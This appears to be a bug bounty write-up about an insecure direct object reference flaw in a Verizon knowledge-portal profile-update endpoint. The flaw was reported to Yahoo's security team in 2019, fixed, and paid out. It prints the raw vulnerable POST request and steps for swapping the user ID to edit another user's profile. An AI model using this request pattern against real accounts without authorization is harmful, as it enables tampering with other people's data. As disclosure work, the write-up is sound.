Company Information :
Yahoo! Inc. is an American multinational technology company that focuses on media and online business. It is the second and current incarnation of the company, after Verizon Communications acquired the core assets of its predecessor and merged them with AOL in 2017.
Bug Category :
Insecure direct object reference(IDOR ) :
Insecure direct object reference is a type of access control vulnerability in digital security. This can occur when a web application or application programming interface uses an identifier for direct access to an object in an internal database but does not check for access control or authentication.
Target Information :
https://www.verizon.com/kms/vzknowledge/myprofile.portal
Technical Details of the Bug :
Once you are logged in you can update your profile. Updating profile request is vulnerable to IDOR attack where changing the user_ID to any other user_id leads to update the profile of any user.
Vulnerable request :
POST /kms/vzknowledge/myprofile.portal HTTP/1.1
2Host: www.verizon.com
3User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5Accept-Language: en-US,en;q=0.5
6Accept-Encoding: gzip, deflate
7Content-Type: application/x-www-form-urlencoded
8Content-Length: 355
9DNT: 1
10Connection: close
11Cookie: [cookies]
12
13hdnRoleNames=&rolename=&roleid=&busgrpvalue=&busgrpName=&selRoleID=0&bgname=Wireline+Network+Ops+%26+Eng&isuserext=true&extUserId=[user_id]&hdnsaveaction=save&txtFirstName=&txtLastName=&txtEmail=[email_Address]&txtCompanyName=vg+com&txtPhoneExternal=909-909-9090&txtVZContact=v+g&txtPhone=909-909-9090
Steps To Reproduce:
1.Create 2 profiles . Attacker and victim(ID : 12345).
2.Now login from attacker account and go to profile update page.
Link : https://www.verizon.com/kms/vzknowledge/myprofile.portal
3.Update the profile and capture the request.
4.Now change the user_id to victim user_ID and you will notice that victim profile will be updated.
Impact :
Update any user profile on verizon vzknowledge Account (IDOR)
Timeline :
Sep 03th 2019: Report send to Yahoo product Security Team through Hackeorne.
Sep 05th 2019: Report Accepted and Triaged.
Sep 11th 2019: Complete issue was resolved and confirmed.
Sep 11th 2019: 4000$ Bounty Rewarded
Comments
Post a Comment